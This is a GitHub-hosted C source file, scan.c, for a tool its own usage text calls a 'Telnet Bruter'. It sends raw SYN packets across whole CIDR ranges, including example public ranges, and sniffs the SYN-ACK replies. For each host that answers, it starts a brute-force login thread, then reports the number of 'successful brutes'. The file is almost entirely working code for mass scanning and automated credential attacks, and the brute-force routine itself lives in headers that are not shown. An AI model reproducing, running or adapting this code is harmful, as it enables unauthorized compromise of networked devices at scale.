-
Notifications
You must be signed in to change notification settings - Fork 0
/
scan.c
454 lines (328 loc) · 10.8 KB
/
scan.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
#include <arpa/inet.h>
#include <ctype.h>
#include <errno.h>
#include <inttypes.h>
#include <limits.h>
#include <math.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <pthread.h>
#include <stdarg.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <signal.h>
#include "hashfuncs.h"
#include "brute.h"
#include "uthash.h"
time_t randomTime;
int64_t num_hosts;
int64_t host_count;
unsigned short check_sum(unsigned short*, int);
const char* dotted_quad(const struct in_addr*);
void* receive_ack(void*);
void process_packet(unsigned char*, int, char*);
void get_local_ip(char*);
void prepare_datagram(char*, in_addr_t, struct iphdr*, struct tcphdr*);
void parse_target(char*, struct in_addr*, int64_t*);
int parse_cidr(const char*, struct in_addr*, struct in_addr*);
struct pseudo_header {
unsigned int source_address;
unsigned int dest_address;
unsigned char placeholder;
unsigned char protocol;
unsigned short tcp_length;
struct tcphdr tcp;
};
struct in_addr dest_ip, min_in_addr, max_in_addr;
void* thread_timer() {
while(1) {
struct hash_struct *hs, *hstmp;
HASH_ITER(hh, done_ips, hs, hstmp) {
if(((!hs->attempts && !hs->done) && (time(NULL) - hs->start_time >= 20)) || (hs->done && (time(NULL) - hs->start_time >= 30)) || (time(NULL) - hs->start_time >= 40)) {
pthread_rwlock_init(&rwlock, NULL);
if(!hs->done && pthread_cancel(hs->threadID) == 0) {
free(hs->arguments->ip);
free(hs->arguments);
HASH_DEL(done_ips, hs);
free(hs);
running_threads--;
pthread_rwlock_unlock(&rwlock);
} else if(hs->done == 1) {
free(hs->arguments->ip);
free(hs->arguments);
HASH_DEL(done_ips, hs);
free(hs);
running_threads--;
pthread_rwlock_unlock(&rwlock);
} else {
free(hs->arguments->ip);
free(hs->arguments);
HASH_DEL(done_ips, hs);
free(hs);
running_threads--;
pthread_rwlock_unlock(&rwlock);
}
}
}
//printf("Threads: %i | Hashes: %i\n", running_threads, HASH_COUNT(done_ips));
sleep(1);
}
}
int main(int argc, char* argv[]) {
srand((unsigned) time(&randomTime));
if(argc != 3) {
printf("Telnet Bruter Usage: %s <IP/CIDR> <Port1,Port2,...>\n", argv[0]);
printf("Examples:\n");
printf("\t%s 166.104.0.0/16 80,443,8080\n", argv[0]);
printf("\t%s 35.186.153.3 80,443,8080\n", argv[0]);
printf("\t%s 166.104.177.24 80\n", argv[0]);
return 1;
}
printf("\nSYN scan [%s]:[%s]\n", argv[1], argv[2]);
pthread_rwlock_init(&rwlock, NULL);
char* port_list = malloc(strlen(argv[2]) + 1);
strcpy(port_list, argv[2]);
struct in_addr target_in_addr;
parse_target(argv[1], &target_in_addr, &num_hosts);
char source_ip[INET6_ADDRSTRLEN];
get_local_ip(source_ip);
in_addr_t source_address = inet_addr(source_ip);
int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
if (sockfd < 0) {
exit(0);
}
int oneVal = 1;
if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &oneVal, sizeof(oneVal)) < 0) {
exit(0);
}
double program_duration;
struct timespec start_time, finish_time;
clock_gettime(CLOCK_MONOTONIC, &start_time);
running_threads = 0;
total_open_host = 0;
total_found = 0;
pthread_t sniffer_thread;
if(pthread_create(&sniffer_thread, NULL, receive_ack, NULL) < 0) {
exit(0);
}
pthread_t timer_thread;
if(pthread_create(&timer_thread, NULL, thread_timer, NULL) < 0) {
exit(0);
}
for(host_count = 0; host_count < num_hosts; host_count++) {
while(running_threads >= 100) {
usleep(100);
}
usleep(250);
dest_ip.s_addr = target_in_addr.s_addr;
if(dest_ip.s_addr == -1) {
exit(0);
}
strcpy(port_list, argv[2]);
char* pch = strtok(port_list, ",");
while(pch != NULL) {
char datagram[60];
struct iphdr* iph = (struct iphdr*)datagram;
struct tcphdr* tcph = (struct tcphdr*)(datagram + sizeof(struct ip));
prepare_datagram(datagram, source_address, iph, tcph);
struct sockaddr_in dest;
struct pseudo_header psh;
dest.sin_family = AF_INET;
dest.sin_addr.s_addr = dest_ip.s_addr;
tcph->dest = htons(atoi(pch));
tcph->check = 0;
psh.source_address = source_address;
psh.dest_address = dest.sin_addr.s_addr;
psh.placeholder = 0;
psh.protocol = IPPROTO_TCP;
psh.tcp_length = htons(sizeof(struct tcphdr));
memcpy(&psh.tcp, tcph, sizeof(struct tcphdr));
tcph->check = check_sum((unsigned short*)&psh, sizeof(struct pseudo_header));
if(sendto(sockfd, datagram, sizeof(struct iphdr) + sizeof(struct tcphdr), 0, (struct sockaddr*)&dest, sizeof(dest)) < 0) {
exit(0);
}
pch = strtok(NULL, ",");
}
target_in_addr.s_addr = htonl(ntohl(target_in_addr.s_addr) + 1);
}
close(sockfd);
sleep(5);
while(HASH_COUNT(done_ips) && running_threads > 0) {
// printf("Hashes: %u\n", HASH_COUNT(done_ips));
// printf("Running threads: %u\n", running_threads);
sleep(1);
}
clock_gettime(CLOCK_MONOTONIC, &finish_time);
program_duration = (finish_time.tv_sec - start_time.tv_sec);
program_duration += (finish_time.tv_nsec - start_time.tv_nsec) / 1000000000.0;
int hours_duration = program_duration / 3600;
int mins_duration = (int)(program_duration / 60) % 60;
double secs_duration = fmod(program_duration, 60);
printf("\nTotal attempted online bruted hosts: %d\n", total_open_host);
printf("Total successful brutes: %d\n", total_found);
printf("Scan duration: %d hour(s) %d min(s) %.05lf sec(s)\n\n", hours_duration, mins_duration, secs_duration);
return 0;
}
void prepare_datagram(char* datagram, in_addr_t source_ip, struct iphdr* iph, struct tcphdr* tcph) {
memset(datagram, 0, 60);
iph->ihl = 5;
iph->version = 4;
iph->tos = 0;
iph->tot_len = sizeof(struct ip) + sizeof(struct tcphdr);
iph->id = htons(rand() % USHRT_MAX);
iph->frag_off = htons(0);
iph->ttl = 64;
iph->protocol = IPPROTO_TCP;
iph->check = 0;
iph->saddr = source_ip;
iph->daddr = dest_ip.s_addr;
iph->check = check_sum((unsigned short*)datagram, iph->tot_len >> 1);
tcph->source = htons(rand() % USHRT_MAX);
tcph->dest = 0;
tcph->seq = htonl(rand() % UINT_MAX);
tcph->ack_seq = 0;
tcph->doff = sizeof(struct tcphdr) / 4; //Size of tcp header
tcph->fin = 0;
tcph->syn = 1;
tcph->rst = 0;
tcph->psh = 0;
tcph->ack = 0;
tcph->urg = 0;
tcph->window = htons(14600); //Maximum allowed window size
tcph->check = 0; //If you set a checksum to zero, your kernel's IP stack should fill in the correct checksum during transmission
tcph->urg_ptr = 0;
}
void parse_target(char* target, struct in_addr* target_in_addr, int64_t* num_hosts) {
struct in_addr parsed_in_addr, mask_in_addr, wildcard_in_addr, network_in_addr, broadcast_in_addr;
int bits = parse_cidr(target, &parsed_in_addr, &mask_in_addr);
if (bits == -1) {
exit(0);
}
wildcard_in_addr = mask_in_addr;
wildcard_in_addr.s_addr = ~wildcard_in_addr.s_addr;
network_in_addr = parsed_in_addr;
network_in_addr.s_addr &= mask_in_addr.s_addr;
broadcast_in_addr = parsed_in_addr;
broadcast_in_addr.s_addr |= wildcard_in_addr.s_addr;
min_in_addr = network_in_addr;
max_in_addr = broadcast_in_addr;
if(network_in_addr.s_addr != broadcast_in_addr.s_addr) {
min_in_addr.s_addr = htonl(ntohl(min_in_addr.s_addr) + 1);
max_in_addr.s_addr = htonl(ntohl(max_in_addr.s_addr) - 1);
}
*target_in_addr = min_in_addr;
*num_hosts = (int64_t)ntohl(broadcast_in_addr.s_addr) - ntohl(network_in_addr.s_addr) + 1;
printf("%" PRId64 " host(s): ", *num_hosts);
printf("%s -> ", dotted_quad(&min_in_addr));
printf("%s\n\n", dotted_quad(&max_in_addr));
fflush(stdout);
}
int parse_cidr(const char* cidr, struct in_addr* addr, struct in_addr* mask) {
int bits = inet_net_pton(AF_INET, cidr, addr, sizeof addr);
mask->s_addr = htonl(~(bits == 32 ? 0 : ~0U >> bits));
return bits;
}
const char* dotted_quad(const struct in_addr* addr) {
static char buf[INET_ADDRSTRLEN];
return inet_ntop(AF_INET, addr, buf, sizeof buf);
}
int start_sniffer() {
int sock_raw;
socklen_t saddr_size, data_size;
struct sockaddr_in saddr;
unsigned char* buffer = (unsigned char*)malloc(65536);
sock_raw = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
if(sock_raw < 0) {
exit(0);
}
saddr_size = sizeof(saddr);
while(1) {
data_size = recvfrom(sock_raw, buffer, 65536, 0, (struct sockaddr*)&saddr, &saddr_size);
if(data_size < 0) {
exit(0);
} else {
if(saddr.sin_addr.s_addr >= min_in_addr.s_addr && saddr.sin_addr.s_addr <= max_in_addr.s_addr) {
unsigned char* buffer2 = malloc(data_size + 1);
memcpy(buffer2, buffer, data_size);
process_packet(buffer2, data_size, inet_ntoa(saddr.sin_addr));
}
}
}
return 0;
}
void* receive_ack(void* ptr) {
start_sniffer();
return NULL;
}
void process_packet(unsigned char* buffer, int size, char* source_ip) {
struct iphdr* iph = (struct iphdr*)buffer;
struct sockaddr_in source, dest;
unsigned short iphdrlen;
if(iph->protocol == 6) {
struct iphdr* iph = (struct iphdr*)buffer;
iphdrlen = iph->ihl * 4;
struct tcphdr* tcph = (struct tcphdr*)(buffer + iphdrlen);
memset(&source, 0, sizeof(source));
source.sin_addr.s_addr = iph->saddr;
memset(&dest, 0, sizeof(dest));
dest.sin_addr.s_addr = iph->daddr;
if(tcph->syn == 1 && tcph->ack == 1 ) {
if(!find_ip(source_ip)) {
pthread_t bruter;
struct args *arguments = (struct args*)malloc(sizeof(struct args));
arguments->ip = malloc(strlen(source_ip) + 1);
strcpy(arguments->ip, source_ip);
arguments->port = ntohs(tcph->source);
add_ip(source_ip, arguments);
if(pthread_create(&bruter, NULL, brute, (void *)arguments) < 0) {
exit(0);
}
}
}
free(buffer);
}
}
unsigned short check_sum(unsigned short* ptr, int nbytes) {
register long sum;
register short answer;
unsigned short oddbyte;
sum = 0;
while(nbytes > 1) {
sum += *ptr++;
nbytes -= 2;
}
if(nbytes == 1) {
oddbyte = 0;
*((u_char*)&oddbyte) = *(u_char*)ptr;
sum += oddbyte;
}
sum = (sum >> 16) + (sum & 0xffff);
sum = sum + (sum >> 16);
answer = (short)~sum;
return answer;
}
void get_local_ip(char* buffer) {
int sock = socket(AF_INET, SOCK_DGRAM, 0);
const char* kGoogleDnsIp = "8.8.8.8";
int dns_port = 53;
struct sockaddr_in serv;
memset(&serv, 0, sizeof(serv));
serv.sin_family = AF_INET;
serv.sin_addr.s_addr = inet_addr(kGoogleDnsIp);
serv.sin_port = htons(dns_port);
if(connect(sock, (const struct sockaddr*)&serv, sizeof(serv)) != 0) {
exit(0);
}
struct sockaddr_in name;
socklen_t namelen = sizeof(name);
if(getsockname(sock, (struct sockaddr*)&name, &namelen) != 0) {
exit(0);
}
inet_ntop(AF_INET, &name.sin_addr, buffer, INET6_ADDRSTRLEN);
close(sock);
}